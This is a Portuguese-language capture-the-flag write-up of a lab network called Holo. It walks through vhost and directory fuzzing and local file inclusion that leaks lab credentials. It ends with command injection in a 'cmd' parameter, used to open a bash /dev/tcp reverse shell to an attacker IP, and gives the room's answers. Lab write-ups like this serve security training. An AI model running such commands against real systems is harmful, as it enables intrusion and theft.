Web App Exploitation 101

Holo Net - vhosts

# echo '10.200.95.33 holo.live www.holo.live' >> /etc/hosts

10.200.95.33  holo.live    
10.200.95.33  www.holo.live

Após adicionarmos os vhosts no arquivo /etc/hosts acessamos o site, e não apresenta nenhum erro de disfiguração

Fuzzing de vhosts

# gobuster vhost -u http://holo.live/ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://holo.live/
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================

dev
admin
www

Quais domínios carregam imagens na primeira página da web?

www.holo.live

Quais são os outros dois domínios presentes no servidor web? Formato: Ordem Alfabética

admin.holo.live, dev.holo.live

Task 10

Aqui nós vamos enumerar subdiretórios

# ffuf -c -w /usr/share/wordlists/dirb/big.txt:FUZZ -u http://www.holo.live/FUZZ -fc 403,404
robots.txt              [Status: 200, Size: 913, Words: 23, Lines: 23, Duration: 36ms]

# gobuster dir -u http://dev.holo.live/ -w /usr/share/wordlists/dirb/big.txt -x php,html
/about.php            (Status: 200) [Size: 9612]
/img.php              (Status: 200) [Size: 0]
/index.php            (Status: 200) [Size: 7515]

# ffuf -c -w /usr/share/wordlists/dirb/big.txt:FUZZ -u http://admin.holo.live/FUZZ -fc 403,404
robots.txt              [Status: 200, Size: 135, Words: 5, Lines: 5, Duration: 7ms]

Qual arquivo vaza o diretório atual do servidor web?

robots.txt

Qual arquivo carrega imagens para o domínio de desenvolvimento?

img.php

Qual é o caminho completo do arquivo de credenciais no domínio do administrador?

/var/www/admin/supersecretdir/creds.txt

Task 12

Navegando no domínio admin.holo.live/talents.php identificamos um link que nos reencaminha para qualquer imagem de anime no servidor e descobrimos a origem das imagens.

O parâmetro fileem combinação com o caminho da imagem fornecido retorna algo! Isso significa que esse parâmetro existe! E agora podemos prosseguir testando este parâmetro em busca de vulnerabilidades, ou seja, testando-o para LFI e RFI.

Anteriormente descobrimos um arquivo de credenciais, podemos tentar lista-lo

Qual arquivo é vulnerável ao LFI no domínio de desenvolvimento?

img.php

Qual parâmetro no arquivo é vulnerável ao LFI?

file

Qual arquivo encontrado no vazamento de informações retorna um código de erro HTTP 403 no domínio do administrador?

/var/www/admin/supersecretdir/creds.txt

Usando LFI no domínio de desenvolvimento, leia o arquivo acima. Quais são as credenciais encontradas no arquivo?

admin:DBManagerLogin!

Task 13

Faremos login com as credenciais encontradas, e fomos reencaminhados para um dashboard

Olhando através do código, podemos identificar imediatamente uma vulnerabilidade crucial que leva ao RCE

Então encontramos uma maneira de executar código na máquina. Vamos usar isso para estabelecer um shell reverso totalmente interativo.

Portanto, primeiro precisamos verificar se há ferramentas úteis existentes na máquina de destino. Um deles seria, por exemplo nc. Vamos verificar se o ncbinário existe:

Agora iniciamos um ouvinte nc em nossa máquina atacante e simplesmente incluímos um ncshell reverso baseado como cmdparâmetro. O código shell reverso que usamos é o seguinte:

/bin/bash+-c+"bash+-i+>%26+/dev/tcp/10.50.74.4/9001+0>%261"

Após enviar a requisição, pegamos o shell reverso em nossa máquina, usei o pwncat que é menos instável que netcat (espero explorar mais essa ferramenta para port-forwarding)

Qual arquivo é vulnerável ao RCE no domínio do administrador?

dashboard.php

Qual parâmetro é vulnerável ao RCE no domínio do administrador?

cmd

Com qual usuário o servidor web está sendo executado?

www-data

Last updated